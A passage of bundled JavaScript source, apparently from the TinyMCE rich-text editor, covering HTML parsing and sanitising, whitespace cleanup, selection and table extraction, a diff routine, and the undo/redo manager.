        const nativeChild = childNodes[ni];
        const child = new AstNode(nativeChild.nodeName.toLowerCase(), nativeChild.nodeType);
        if (isElement$6(nativeChild)) {
          const attributes = nativeChild.attributes;
          for (let ai = 0, al = attributes.length; ai < al; ai++) {
            const attr = attributes[ai];
            child.attr(attr.name, attr.value);
          }
        } else if (isText$a(nativeChild)) {
          child.value = nativeChild.data;
          if (isSpecial) {
            child.raw = true;
          }
        } else if (isComment(nativeChild) || isCData(nativeChild) || isPi(nativeChild)) {
          child.value = nativeChild.data;
        }
        transferChildren(child, nativeChild, specialElements);
        parent.append(child);
      }
    };
    const walkTree = (root, preprocessors, postprocessors) => {
      const traverseOrder = [];
      for (let node = root, lastNode = node; node; lastNode = node, node = node.walk()) {
        const tempNode = node;
        each$e(preprocessors, preprocess => preprocess(tempNode));
        if (isNullable(tempNode.parent) && tempNode !== root) {
          node = lastNode;
        } else {
          traverseOrder.push(tempNode);
        }
      }
      for (let i = traverseOrder.length - 1; i >= 0; i--) {
        const node = traverseOrder[i];
        each$e(postprocessors, postprocess => postprocess(node));
      }
    };
    const whitespaceCleaner = (root, schema, settings, args) => {
      const validate = settings.validate;
      const nonEmptyElements = schema.getNonEmptyElements();
      const whitespaceElements = schema.getWhitespaceElements();
      const blockElements = extend$1(makeMap('script,style,head,html,body,title,meta,param'), schema.getBlockElements());
      const textRootBlockElements = getTextRootBlockElements(schema);
      const allWhiteSpaceRegExp = /[ \t\r\n]+/g;
      const startWhiteSpaceRegExp = /^[ \t\r\n]+/;
      const endWhiteSpaceRegExp = /[ \t\r\n]+$/;
      const hasWhitespaceParent = node => {
        let tempNode = node.parent;
        while (isNonNullable(tempNode)) {
          if (tempNode.name in whitespaceElements) {
            return true;
          } else {
            tempNode = tempNode.parent;
          }
        }
        return false;
      };
      const isTextRootBlockEmpty = node => {
        let tempNode = node;
        while (isNonNullable(tempNode)) {
          if (tempNode.name in textRootBlockElements) {
            return isEmpty(schema, nonEmptyElements, whitespaceElements, tempNode);
          } else {
            tempNode = tempNode.parent;
          }
        }
        return false;
      };
      const isBlock = node => node.name in blockElements && !isTransparentAstInline(schema, node);
      const isAtEdgeOfBlock = (node, start) => {
        const neighbour = start ? node.prev : node.next;
        if (isNonNullable(neighbour) || isNullable(node.parent)) {
          return false;
        }
        return isBlock(node.parent) && (node.parent !== root || args.isRootContent === true);
      };
      const preprocess = node => {
        var _a;
        if (node.type === 3) {
          if (!hasWhitespaceParent(node)) {
            let text = (_a = node.value) !== null && _a !== void 0 ? _a : '';
            text = text.replace(allWhiteSpaceRegExp, ' ');
            if (isLineBreakNode(node.prev, isBlock) || isAtEdgeOfBlock(node, true)) {
              text = text.replace(startWhiteSpaceRegExp, '');
            }
            if (text.length === 0) {
              node.remove();
            } else {
              node.value = text;
            }
          }
        }
      };
      const postprocess = node => {
        var _a;
        if (node.type === 1) {
          const elementRule = schema.getElementRule(node.name);
          if (validate && elementRule) {
            const isNodeEmpty = isEmpty(schema, nonEmptyElements, whitespaceElements, node);
            if (elementRule.paddInEmptyBlock && isNodeEmpty && isTextRootBlockEmpty(node)) {
              paddEmptyNode(args, isBlock, node);
            } else if (elementRule.removeEmpty && isNodeEmpty) {
              if (isBlock(node)) {
                node.remove();
              } else {
                node.unwrap();
              }
            } else if (elementRule.paddEmpty && (isNodeEmpty || isPaddedWithNbsp(node))) {
              paddEmptyNode(args, isBlock, node);
            }
          }
        } else if (node.type === 3) {
          if (!hasWhitespaceParent(node)) {
            let text = (_a = node.value) !== null && _a !== void 0 ? _a : '';
            if (node.next && isBlock(node.next) || isAtEdgeOfBlock(node, false)) {
              text = text.replace(endWhiteSpaceRegExp, '');
            }
            if (text.length === 0) {
              node.remove();
            } else {
              node.value = text;
            }
          }
        }
      };
      return [
        preprocess,
        postprocess
      ];
    };
    const getRootBlockName = (settings, args) => {
      var _a;
      const name = (_a = args.forced_root_block) !== null && _a !== void 0 ? _a : settings.forced_root_block;
      if (name === false) {
        return '';
      } else if (name === true) {
        return 'p';
      } else {
        return name;
      }
    };
    const DomParser = (settings = {}, schema = Schema()) => {
      const nodeFilterRegistry = create$7();
      const attributeFilterRegistry = create$7();
      const defaultedSettings = {
        validate: true,
        root_name: 'body',
        ...settings
      };
      const parser = new DOMParser();
      const purify = setupPurify(defaultedSettings, schema);
      const parseAndSanitizeWithContext = (html, rootName, format = 'html') => {
        const mimeType = format === 'xhtml' ? 'application/xhtml+xml' : 'text/html';
        const isSpecialRoot = has$2(schema.getSpecialElements(), rootName.toLowerCase());
        const content = isSpecialRoot ? `<${ rootName }>${ html }</${ rootName }>` : html;
        const wrappedHtml = format === 'xhtml' ? `<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>${ content }</body></html>` : `<body>${ content }</body>`;
        const body = parser.parseFromString(wrappedHtml, mimeType).body;
        purify.sanitize(body, getPurifyConfig(defaultedSettings, mimeType));
        purify.removed = [];
        return isSpecialRoot ? body.firstChild : body;
      };
      const addNodeFilter = nodeFilterRegistry.addFilter;
      const getNodeFilters = nodeFilterRegistry.getFilters;
      const removeNodeFilter = nodeFilterRegistry.removeFilter;
      const addAttributeFilter = attributeFilterRegistry.addFilter;
      const getAttributeFilters = attributeFilterRegistry.getFilters;
      const removeAttributeFilter = attributeFilterRegistry.removeFilter;
      const findInvalidChildren = (node, invalidChildren) => {
        if (isInvalid(schema, node)) {
          invalidChildren.push(node);
        }
      };
      const isWrappableNode = (blockElements, node) => {
        const isInternalElement = isString(node.attr(internalElementAttr));
        const isInlineElement = node.type === 1 && (!has$2(blockElements, node.name) && !isTransparentAstBlock(schema, node));
        return node.type === 3 || isInlineElement && !isInternalElement;
      };
      const addRootBlocks = (rootNode, rootBlockName) => {
        const blockElements = extend$1(makeMap('script,style,head,html,body,title,meta,param'), schema.getBlockElements());
        const startWhiteSpaceRegExp = /^[ \t\r\n]+/;
        const endWhiteSpaceRegExp = /[ \t\r\n]+$/;
        let node = rootNode.firstChild, rootBlockNode = null;
        const trim = rootBlock => {
          var _a, _b;
          if (rootBlock) {
            node = rootBlock.firstChild;
            if (node && node.type === 3) {
              node.value = (_a = node.value) === null || _a === void 0 ? void 0 : _a.replace(startWhiteSpaceRegExp, '');
            }
            node = rootBlock.lastChild;
            if (node && node.type === 3) {
              node.value = (_b = node.value) === null || _b === void 0 ? void 0 : _b.replace(endWhiteSpaceRegExp, '');
            }
          }
        };
        if (!schema.isValidChild(rootNode.name, rootBlockName.toLowerCase())) {
          return;
        }
        while (node) {
          const next = node.next;
          if (isWrappableNode(blockElements, node)) {
            if (!rootBlockNode) {
              rootBlockNode = new AstNode(rootBlockName, 1);
              rootBlockNode.attr(defaultedSettings.forced_root_block_attrs);
              rootNode.insert(rootBlockNode, node);
              rootBlockNode.append(node);
            } else {
              rootBlockNode.append(node);
            }
          } else {
            trim(rootBlockNode);
            rootBlockNode = null;
          }
          node = next;
        }
        trim(rootBlockNode);
      };
      const parse = (html, args = {}) => {
        var _a;
        const validate = defaultedSettings.validate;
        const rootName = (_a = args.context) !== null && _a !== void 0 ? _a : defaultedSettings.root_name;
        const element = parseAndSanitizeWithContext(html, rootName, args.format);
        updateChildren(schema, element);
        const rootNode = new AstNode(rootName, 11);
        transferChildren(rootNode, element, schema.getSpecialElements());
        element.innerHTML = '';
        const [whitespacePre, whitespacePost] = whitespaceCleaner(rootNode, schema, defaultedSettings, args);
        const invalidChildren = [];
        const invalidFinder = validate ? node => findInvalidChildren(node, invalidChildren) : noop;
        const matches = {
          nodes: {},
          attributes: {}
        };
        const matchFinder = node => matchNode$1(getNodeFilters(), getAttributeFilters(), node, matches);
        walkTree(rootNode, [
          whitespacePre,
          matchFinder
        ], [
          whitespacePost,
          invalidFinder
        ]);
        invalidChildren.reverse();
        if (validate && invalidChildren.length > 0) {
          if (args.context) {
            const {
              pass: topLevelChildren,
              fail: otherChildren
            } = partition$2(invalidChildren, child => child.parent === rootNode);
            cleanInvalidNodes(otherChildren, schema, matchFinder);
            args.invalid = topLevelChildren.length > 0;
          } else {
            cleanInvalidNodes(invalidChildren, schema, matchFinder);
          }
        }
        const rootBlockName = getRootBlockName(defaultedSettings, args);
        if (rootBlockName && (rootNode.name === 'body' || args.isRootContent)) {
          addRootBlocks(rootNode, rootBlockName);
        }
        if (!args.invalid) {
          runFilters(matches, args);
        }
        return rootNode;
      };
      const exports = {
        schema,
        addAttributeFilter,
        getAttributeFilters,
        removeAttributeFilter,
        addNodeFilter,
        getNodeFilters,
        removeNodeFilter,
        parse
      };
      register$4(exports, defaultedSettings);
      register$5(exports, defaultedSettings, schema);
      return exports;
    };

    const serializeContent = content => isTreeNode(content) ? HtmlSerializer({ validate: false }).serialize(content) : content;
    const withSerializedContent = (content, fireEvent) => {
      const serializedContent = serializeContent(content);
      const eventArgs = fireEvent(serializedContent);
      if (eventArgs.isDefaultPrevented()) {
        return eventArgs;
      } else if (isTreeNode(content)) {
        if (eventArgs.content !== serializedContent) {
          const rootNode = DomParser({
            validate: false,
            forced_root_block: false
          }).parse(eventArgs.content, { context: content.name });
          return {
            ...eventArgs,
            content: rootNode
          };
        } else {
          return {
            ...eventArgs,
            content
          };
        }
      } else {
        return eventArgs;
      }
    };
    const preProcessGetContent = (editor, args) => {
      if (args.no_events) {
        return Result.value(args);
      } else {
        const eventArgs = fireBeforeGetContent(editor, args);
        if (eventArgs.isDefaultPrevented()) {
          return Result.error(fireGetContent(editor, {
            content: '',
            ...eventArgs
          }).content);
        } else {
          return Result.value(eventArgs);
        }
      }
    };
    const postProcessGetContent = (editor, content, args) => {
      if (args.no_events) {
        return content;
      } else {
        const processedEventArgs = withSerializedContent(content, c => fireGetContent(editor, {
          ...args,
          content: c
        }));
        return processedEventArgs.content;
      }
    };
    const preProcessSetContent = (editor, args) => {
      if (args.no_events) {
        return Result.value(args);
      } else {
        const processedEventArgs = withSerializedContent(args.content, content => fireBeforeSetContent(editor, {
          ...args,
          content
        }));
        if (processedEventArgs.isDefaultPrevented()) {
          fireSetContent(editor, processedEventArgs);
          return Result.error(undefined);
        } else {
          return Result.value(processedEventArgs);
        }
      }
    };
    const postProcessSetContent = (editor, content, args) => {
      if (!args.no_events) {
        fireSetContent(editor, {
          ...args,
          content
        });
      }
    };

    const tableModel = (element, width, rows) => ({
      element,
      width,
      rows
    });
    const tableRow = (element, cells) => ({
      element,
      cells
    });
    const cellPosition = (x, y) => ({
      x,
      y
    });
    const getSpan = (td, key) => {
      return getOpt(td, key).bind(toInt).getOr(1);
    };
    const fillout = (table, x, y, tr, td) => {
      const rowspan = getSpan(td, 'rowspan');
      const colspan = getSpan(td, 'colspan');
      const rows = table.rows;
      for (let y2 = y; y2 < y + rowspan; y2++) {
        if (!rows[y2]) {
          rows[y2] = tableRow(deep$1(tr), []);
        }
        for (let x2 = x; x2 < x + colspan; x2++) {
          const cells = rows[y2].cells;
          cells[x2] = y2 === y && x2 === x ? td : shallow$1(td);
        }
      }
    };
    const cellExists = (table, x, y) => {
      const rows = table.rows;
      const cells = rows[y] ? rows[y].cells : [];
      return !!cells[x];
    };
    const skipCellsX = (table, x, y) => {
      while (cellExists(table, x, y)) {
        x++;
      }
      return x;
    };
    const getWidth = rows => {
      return foldl(rows, (acc, row) => {
        return row.cells.length > acc ? row.cells.length : acc;
      }, 0);
    };
    const findElementPos = (table, element) => {
      const rows = table.rows;
      for (let y = 0; y < rows.length; y++) {
        const cells = rows[y].cells;
        for (let x = 0; x < cells.length; x++) {
          if (eq(cells[x], element)) {
            return Optional.some(cellPosition(x, y));
          }
        }
      }
      return Optional.none();
    };
    const extractRows = (table, sx, sy, ex, ey) => {
      const newRows = [];
      const rows = table.rows;
      for (let y = sy; y <= ey; y++) {
        const cells = rows[y].cells;
        const slice = sx < ex ? cells.slice(sx, ex + 1) : cells.slice(ex, sx + 1);
        newRows.push(tableRow(rows[y].element, slice));
      }
      return newRows;
    };
    const subTable = (table, startPos, endPos) => {
      const sx = startPos.x, sy = startPos.y;
      const ex = endPos.x, ey = endPos.y;
      const newRows = sy < ey ? extractRows(table, sx, sy, ex, ey) : extractRows(table, sx, ey, ex, sy);
      return tableModel(table.element, getWidth(newRows), newRows);
    };
    const createDomTable = (table, rows) => {
      const tableElement = shallow$1(table.element);
      const tableBody = SugarElement.fromTag('tbody');
      append(tableBody, rows);
      append$1(tableElement, tableBody);
      return tableElement;
    };
    const modelRowsToDomRows = table => {
      return map$3(table.rows, row => {
        const cells = map$3(row.cells, cell => {
          const td = deep$1(cell);
          remove$b(td, 'colspan');
          remove$b(td, 'rowspan');
          return td;
        });
        const tr = shallow$1(row.element);
        append(tr, cells);
        return tr;
      });
    };
    const fromDom = tableElm => {
      const table = tableModel(shallow$1(tableElm), 0, []);
      each$e(descendants(tableElm, 'tr'), (tr, y) => {
        each$e(descendants(tr, 'td,th'), (td, x) => {
          fillout(table, skipCellsX(table, x, y), y, tr, td);
        });
      });
      return tableModel(table.element, getWidth(table.rows), table.rows);
    };
    const toDom = table => {
      return createDomTable(table, modelRowsToDomRows(table));
    };
    const subsection = (table, startElement, endElement) => {
      return findElementPos(table, startElement).bind(startPos => {
        return findElementPos(table, endElement).map(endPos => {
          return subTable(table, startPos, endPos);
        });
      });
    };

    const findParentListContainer = parents => find$2(parents, elm => name(elm) === 'ul' || name(elm) === 'ol');
    const getFullySelectedListWrappers = (parents, rng) => find$2(parents, elm => name(elm) === 'li' && hasAllContentsSelected(elm, rng)).fold(constant([]), _li => findParentListContainer(parents).map(listCont => {
      const listElm = SugarElement.fromTag(name(listCont));
      const listStyles = filter$4(getAllRaw(listCont), (_style, name) => startsWith(name, 'list-style'));
      setAll(listElm, listStyles);
      return [
        SugarElement.fromTag('li'),
        listElm
      ];
    }).getOr([]));
    const wrap = (innerElm, elms) => {
      const wrapped = foldl(elms, (acc, elm) => {
        append$1(elm, acc);
        return elm;
      }, innerElm);
      return elms.length > 0 ? fromElements([wrapped]) : wrapped;
    };
    const directListWrappers = commonAnchorContainer => {
      if (isListItem$1(commonAnchorContainer)) {
        return parent(commonAnchorContainer).filter(isList).fold(constant([]), listElm => [
          commonAnchorContainer,
          listElm
        ]);
      } else {
        return isList(commonAnchorContainer) ? [commonAnchorContainer] : [];
      }
    };
    const getWrapElements = (rootNode, rng) => {
      const commonAnchorContainer = SugarElement.fromDom(rng.commonAncestorContainer);
      const parents = parentsAndSelf(commonAnchorContainer, rootNode);
      const wrapElements = filter$5(parents, isWrapElement);
      const listWrappers = getFullySelectedListWrappers(parents, rng);
      const allWrappers = wrapElements.concat(listWrappers.length ? listWrappers : directListWrappers(commonAnchorContainer));
      return map$3(allWrappers, shallow$1);
    };
    const emptyFragment = () => fromElements([]);
    const getFragmentFromRange = (rootNode, rng) => wrap(SugarElement.fromDom(rng.cloneContents()), getWrapElements(rootNode, rng));
    const getParentTable = (rootElm, cell) => ancestor$2(cell, 'table', curry(eq, rootElm));
    const getTableFragment = (rootNode, selectedTableCells) => getParentTable(rootNode, selectedTableCells[0]).bind(tableElm => {
      const firstCell = selectedTableCells[0];
      const lastCell = selectedTableCells[selectedTableCells.length - 1];
      const fullTableModel = fromDom(tableElm);
      return subsection(fullTableModel, firstCell, lastCell).map(sectionedTableModel => fromElements([toDom(sectionedTableModel)]));
    }).getOrThunk(emptyFragment);
    const getSelectionFragment = (rootNode, ranges) => ranges.length > 0 && ranges[0].collapsed ? emptyFragment() : getFragmentFromRange(rootNode, ranges[0]);
    const read$3 = (rootNode, ranges) => {
      const selectedCells = getCellsFromElementOrRanges(ranges, rootNode);
      return selectedCells.length > 0 ? getTableFragment(rootNode, selectedCells) : getSelectionFragment(rootNode, ranges);
    };

    const isCollapsibleWhitespace = (text, index) => index >= 0 && index < text.length && isWhiteSpace(text.charAt(index));
    const getInnerText = bin => {
      return trim$1(bin.innerText);
    };
    const getContextNodeName = parentBlockOpt => parentBlockOpt.map(block => block.nodeName).getOr('div').toLowerCase();
    const getTextContent = editor => Optional.from(editor.selection.getRng()).map(rng => {
      var _a;
      const parentBlockOpt = Optional.from(editor.dom.getParent(rng.commonAncestorContainer, editor.dom.isBlock));
      const body = editor.getBody();
      const contextNodeName = getContextNodeName(parentBlockOpt);
      const rangeContentClone = SugarElement.fromDom(rng.cloneContents());
      cleanupBogusElements(rangeContentClone);
      cleanupInputNames(rangeContentClone);
      const bin = editor.dom.add(body, contextNodeName, {
        'data-mce-bogus': 'all',
        'style': 'overflow: hidden; opacity: 0;'
      }, rangeContentClone.dom);
      const text = getInnerText(bin);
      const nonRenderedText = trim$1((_a = bin.textContent) !== null && _a !== void 0 ? _a : '');
      editor.dom.remove(bin);
      if (isCollapsibleWhitespace(nonRenderedText, 0) || isCollapsibleWhitespace(nonRenderedText, nonRenderedText.length - 1)) {
        const parentBlock = parentBlockOpt.getOr(body);
        const parentBlockText = getInnerText(parentBlock);
        const textIndex = parentBlockText.indexOf(text);
        if (textIndex === -1) {
          return text;
        } else {
          const hasProceedingSpace = isCollapsibleWhitespace(parentBlockText, textIndex - 1);
          const hasTrailingSpace = isCollapsibleWhitespace(parentBlockText, textIndex + text.length);
          return (hasProceedingSpace ? ' ' : '') + text + (hasTrailingSpace ? ' ' : '');
        }
      } else {
        return text;
      }
    }).getOr('');
    const getSerializedContent = (editor, args) => {
      const rng = editor.selection.getRng(), tmpElm = editor.dom.create('body');
      const sel = editor.selection.getSel();
      const ranges = processRanges(editor, getRanges$1(sel));
      const fragment = args.contextual ? read$3(SugarElement.fromDom(editor.getBody()), ranges).dom : rng.cloneContents();
      if (fragment) {
        tmpElm.appendChild(fragment);
      }
      return editor.selection.serializer.serialize(tmpElm, args);
    };
    const extractSelectedContent = (editor, args) => {
      if (args.format === 'text') {
        return getTextContent(editor);
      } else {
        const content = getSerializedContent(editor, args);
        if (args.format === 'tree') {
          return content;
        } else {
          return editor.selection.isCollapsed() ? '' : content;
        }
      }
    };
    const setupArgs$3 = (args, format) => ({
      ...args,
      format,
      get: true,
      selection: true,
      getInner: true
    });
    const getSelectedContentInternal = (editor, format, args = {}) => {
      const defaultedArgs = setupArgs$3(args, format);
      return preProcessGetContent(editor, defaultedArgs).fold(identity, updatedArgs => {
        const content = extractSelectedContent(editor, updatedArgs);
        return postProcessGetContent(editor, content, updatedArgs);
      });
    };

    const KEEP = 0, INSERT = 1, DELETE = 2;
    const diff = (left, right) => {
      const size = left.length + right.length + 2;
      const vDown = new Array(size);
      const vUp = new Array(size);
      const snake = (start, end, diag) => {
        return {
          start,
          end,
          diag
        };
      };
      const buildScript = (start1, end1, start2, end2, script) => {
        const middle = getMiddleSnake(start1, end1, start2, end2);
        if (middle === null || middle.start === end1 && middle.diag === end1 - end2 || middle.end === start1 && middle.diag === start1 - start2) {
          let i = start1;
          let j = start2;
          while (i < end1 || j < end2) {
            if (i < end1 && j < end2 && left[i] === right[j]) {
              script.push([
                KEEP,
                left[i]
              ]);
              ++i;
              ++j;
            } else {
              if (end1 - start1 > end2 - start2) {
                script.push([
                  DELETE,
                  left[i]
                ]);
                ++i;
              } else {
                script.push([
                  INSERT,
                  right[j]
                ]);
                ++j;
              }
            }
          }
        } else {
          buildScript(start1, middle.start, start2, middle.start - middle.diag, script);
          for (let i2 = middle.start; i2 < middle.end; ++i2) {
            script.push([
              KEEP,
              left[i2]
            ]);
          }
          buildScript(middle.end, end1, middle.end - middle.diag, end2, script);
        }
      };
      const buildSnake = (start, diag, end1, end2) => {
        let end = start;
        while (end - diag < end2 && end < end1 && left[end] === right[end - diag]) {
          ++end;
        }
        return snake(start, end, diag);
      };
      const getMiddleSnake = (start1, end1, start2, end2) => {
        const m = end1 - start1;
        const n = end2 - start2;
        if (m === 0 || n === 0) {
          return null;
        }
        const delta = m - n;
        const sum = n + m;
        const offset = (sum % 2 === 0 ? sum : sum + 1) / 2;
        vDown[1 + offset] = start1;
        vUp[1 + offset] = end1 + 1;
        let d, k, i, x, y;
        for (d = 0; d <= offset; ++d) {
          for (k = -d; k <= d; k += 2) {
            i = k + offset;
            if (k === -d || k !== d && vDown[i - 1] < vDown[i + 1]) {
              vDown[i] = vDown[i + 1];
            } else {
              vDown[i] = vDown[i - 1] + 1;
            }
            x = vDown[i];
            y = x - start1 + start2 - k;
            while (x < end1 && y < end2 && left[x] === right[y]) {
              vDown[i] = ++x;
              ++y;
            }
            if (delta % 2 !== 0 && delta - d <= k && k <= delta + d) {
              if (vUp[i - delta] <= vDown[i]) {
                return buildSnake(vUp[i - delta], k + start1 - start2, end1, end2);
              }
            }
          }
          for (k = delta - d; k <= delta + d; k += 2) {
            i = k + offset - delta;
            if (k === delta - d || k !== delta + d && vUp[i + 1] <= vUp[i - 1]) {
              vUp[i] = vUp[i + 1] - 1;
            } else {
              vUp[i] = vUp[i - 1];
            }
            x = vUp[i] - 1;
            y = x - start1 + start2 - k;
            while (x >= start1 && y >= start2 && left[x] === right[y]) {
              vUp[i] = x--;
              y--;
            }
            if (delta % 2 === 0 && -d <= k && k <= d) {
              if (vUp[i] <= vDown[i + delta]) {
                return buildSnake(vUp[i], k + start1 - start2, end1, end2);
              }
            }
          }
        }
        return null;
      };
      const script = [];
      buildScript(0, left.length, 0, right.length, script);
      return script;
    };

    const getOuterHtml = elm => {
      if (isElement$6(elm)) {
        return elm.outerHTML;
      } else if (isText$a(elm)) {
        return Entities.encodeRaw(elm.data, false);
      } else if (isComment(elm)) {
        return '<!--' + elm.data + '-->';
      }
      return '';
    };
    const createFragment = html => {
      let node;
      const container = document.createElement('div');
      const frag = document.createDocumentFragment();
      if (html) {
        container.innerHTML = html;
      }
      while (node = container.firstChild) {
        frag.appendChild(node);
      }
      return frag;
    };
    const insertAt = (elm, html, index) => {
      const fragment = createFragment(html);
      if (elm.hasChildNodes() && index < elm.childNodes.length) {
        const target = elm.childNodes[index];
        elm.insertBefore(fragment, target);
      } else {
        elm.appendChild(fragment);
      }
    };
    const removeAt = (elm, index) => {
      if (elm.hasChildNodes() && index < elm.childNodes.length) {
        const target = elm.childNodes[index];
        elm.removeChild(target);
      }
    };
    const applyDiff = (diff, elm) => {
      let index = 0;
      each$e(diff, action => {
        if (action[0] === KEEP) {
          index++;
        } else if (action[0] === INSERT) {
          insertAt(elm, action[1], index);
          index++;
        } else if (action[0] === DELETE) {
          removeAt(elm, index);
        }
      });
    };
    const read$2 = elm => {
      return filter$5(map$3(from(elm.childNodes), getOuterHtml), item => {
        return item.length > 0;
      });
    };
    const write = (fragments, elm) => {
      const currentFragments = map$3(from(elm.childNodes), getOuterHtml);
      applyDiff(diff(currentFragments, fragments), elm);
      return elm;
    };

    const lazyTempDocument = cached(() => document.implementation.createHTMLDocument('undo'));
    const hasIframes = html => {
      return html.indexOf('</iframe>') !== -1;
    };
    const createFragmentedLevel = fragments => {
      return {
        type: 'fragmented',
        fragments,
        content: '',
        bookmark: null,
        beforeBookmark: null
      };
    };
    const createCompleteLevel = content => {
      return {
        type: 'complete',
        fragments: null,
        content,
        bookmark: null,
        beforeBookmark: null
      };
    };
    const createFromEditor = editor => {
      const fragments = read$2(editor.getBody());
      const trimmedFragments = bind$3(fragments, html => {
        const trimmed = trimInternal(editor.serializer, html);
        return trimmed.length > 0 ? [trimmed] : [];
      });
      const content = trimmedFragments.join('');
      return hasIframes(content) ? createFragmentedLevel(trimmedFragments) : createCompleteLevel(content);
    };
    const applyToEditor = (editor, level, before) => {
      const bookmark = before ? level.beforeBookmark : level.bookmark;
      if (level.type === 'fragmented') {
        write(level.fragments, editor.getBody());
      } else {
        editor.setContent(level.content, {
          format: 'raw',
          no_selection: isNonNullable(bookmark) && isPathBookmark(bookmark) ? !bookmark.isFakeCaret : true
        });
      }
      if (bookmark) {
        editor.selection.moveToBookmark(bookmark);
        editor.selection.scrollIntoView();
      }
    };
    const getLevelContent = level => {
      return level.type === 'fragmented' ? level.fragments.join('') : level.content;
    };
    const getCleanLevelContent = level => {
      const elm = SugarElement.fromTag('body', lazyTempDocument());
      set(elm, getLevelContent(level));
      each$e(descendants(elm, '*[data-mce-bogus]'), unwrap);
      return get$6(elm);
    };
    const hasEqualContent = (level1, level2) => getLevelContent(level1) === getLevelContent(level2);
    const hasEqualCleanedContent = (level1, level2) => getCleanLevelContent(level1) === getCleanLevelContent(level2);
    const isEq$1 = (level1, level2) => {
      if (!level1 || !level2) {
        return false;
      } else if (hasEqualContent(level1, level2)) {
        return true;
      } else {
        return hasEqualCleanedContent(level1, level2);
      }
    };

    const isUnlocked = locks => locks.get() === 0;

    const setTyping = (undoManager, typing, locks) => {
      if (isUnlocked(locks)) {
        undoManager.typing = typing;
      }
    };
    const endTyping = (undoManager, locks) => {
      if (undoManager.typing) {
        setTyping(undoManager, false, locks);
        undoManager.add();
      }
    };
    const endTypingLevelIgnoreLocks = undoManager => {
      if (undoManager.typing) {
        undoManager.typing = false;
        undoManager.add();
      }
    };

    const beforeChange$1 = (editor, locks, beforeBookmark) => {
      if (isUnlocked(locks)) {
        beforeBookmark.set(getUndoBookmark(editor.selection));
      }
    };
    const addUndoLevel$1 = (editor, undoManager, index, locks, beforeBookmark, level, event) => {
      const currentLevel = createFromEditor(editor);
      const newLevel = Tools.extend(level || {}, currentLevel);
      if (!isUnlocked(locks) || editor.removed) {
        return null;
      }
      const lastLevel = undoManager.data[index.get()];
      if (editor.dispatch('BeforeAddUndo', {
          level: newLevel,
          lastLevel,
          originalEvent: event
        }).isDefaultPrevented()) {
        return null;
      }
      if (lastLevel && isEq$1(lastLevel, newLevel)) {
        return null;
      }
      if (undoManager.data[index.get()]) {
        beforeBookmark.get().each(bm => {
          undoManager.data[index.get()].beforeBookmark = bm;
        });
      }
      const customUndoRedoLevels = getCustomUndoRedoLevels(editor);
      if (customUndoRedoLevels) {
        if (undoManager.data.length > customUndoRedoLevels) {
          for (let i = 0; i < undoManager.data.length - 1; i++) {
            undoManager.data[i] = undoManager.data[i + 1];
          }
          undoManager.data.length--;
          index.set(undoManager.data.length);
        }
      }
      newLevel.bookmark = getUndoBookmark(editor.selection);
      if (index.get() < undoManager.data.length - 1) {
        undoManager.data.length = index.get() + 1;
      }
      undoManager.data.push(newLevel);
      index.set(undoManager.data.length - 1);
      const args = {
        level: newLevel,
        lastLevel,
        originalEvent: event
      };
      if (index.get() > 0) {
        editor.setDirty(true);
        editor.dispatch('AddUndo', args);
        editor.dispatch('change', args);
      } else {
        editor.dispatch('AddUndo', args);
      }
      return newLevel;
    };
    const clear$1 = (editor, undoManager, index) => {
      undoManager.data = [];
      index.set(0);
      undoManager.typing = false;
      editor.dispatch('ClearUndos');
    };
    const extra$1 = (editor, undoManager, index, callback1, callback2) => {
      if (undoManager.transact(callback1)) {
        const bookmark = undoManager.data[index.get()].bookmark;
        const lastLevel = undoManager.data[index.get() - 1];
        applyToEditor(editor, lastLevel, true);
        if (undoManager.transact(callback2)) {
          undoManager.data[index.get() - 1].beforeBookmark = bookmark;
        }
      }
    };
    const redo$1 = (editor, index, data) => {
      let level;
      if (index.get() < data.length - 1) {
        index.set(index.get() + 1);
        level = data[index.get()];
        applyToEditor(editor, level, false);
        editor.setDirty(true);
        editor.dispatch('Redo', { level });
      }
      return level;
    };
    const undo$1 = (editor, undoManager, locks, index) => {
      let level;
      if (undoManager.typing) {
        undoManager.add();
        undoManager.typing = false;
        setTyping(undoManager, false, locks);
      }
      if (index.get() > 0) {
        index.set(index.get() - 1);
        level = undoManager.data[index.get()];
        applyToEditor(editor, level, true);
        editor.setDirty(true);
        editor.dispatch('Undo', { level });
      }
      return level;
    };
    const reset$1 = undoManager => {
      undoManager.clear();
      undoManager.add();
    };
    const hasUndo$1 = (editor, undoManager, index) => index.get() > 0 || undoManager.typing && undoManager.data[0] && !isEq$1(createFromEditor(editor), undoManager.data[0]);
    const hasRedo$1 = (undoManager, index) => index.get() < undoManager.data.length - 1 && !undoManager.typing;
    const transact$1 = (undoManager, locks, callback) => {
      endTyping(undoManager, locks);
      undoManager.beforeChange();
      undoManager.ignore(callback);
      return undoManager.add();
    };
    const ignore$1 = (locks, callback) => {
      try {
        locks.set(locks.get() + 1);
        callback();
      } finally {
        locks.set(locks.get() - 1);
      }
    };

    const addVisualInternal = (editor, elm) => {
      const dom = editor.dom;
      const scope = isNonNullable(elm) ? elm : editor.getBody();
      each$e(dom.select('table,a', scope), matchedElm => {
        switch (matchedElm.nodeName) {
        case 'TABLE':
          const cls = getVisualAidsTableClass(editor);
          const value = dom.getAttrib(matchedElm, 'border');
          if ((!value || value === '0') && editor.hasVisual) {
            dom.addClass(matchedElm, cls);
          } else {
            dom.removeClass(matchedElm, cls);
          }
          break;
        case 'A':
          if (!dom.getAttrib(matchedElm, 'href')) {
            const value = dom.getAttrib(matchedElm, 'name') || matchedElm.id;
            const cls = getVisualAidsAnchorClass(editor);
            if (value && editor.hasVisual) {
              dom.addClass(matchedElm, cls);
            } else {
              dom.removeClass(matchedElm, cls);
            }
          }
          break;
        }
      });
      editor.dispatch('VisualAid', {
        element: elm,
        hasVisual: editor.hasVisual
      });
    };

    const makePlainAdaptor = editor => ({
      init: { bindEvents: noop },
      undoManager: {
        beforeChange: (locks, beforeBookmark) => beforeChange$1(editor, locks, beforeBookmark),
        add: (undoManager, index, locks, beforeBookmark, level, event) => addUndoLevel$1(editor, undoManager, index, locks, beforeBookmark, level, event),
        undo: (undoManager, locks, index) => undo$1(editor, undoManager, locks, index),
        redo: (index, data) => redo$1(editor, index, data),
        clear: (undoManager, index) => clear$1(editor, undoManager, index),
        reset: undoManager => reset$1(undoManager),
        hasUndo: (undoManager, index) => hasUndo$1(editor, undoManager, index),
        hasRedo: (undoManager, index) => hasRedo$1(undoManager, index),
        transact: (undoManager, locks, callback) => transact$1(undoManager, locks, callback),
        ignore: (locks, callback) => ignore$1(locks, callback),
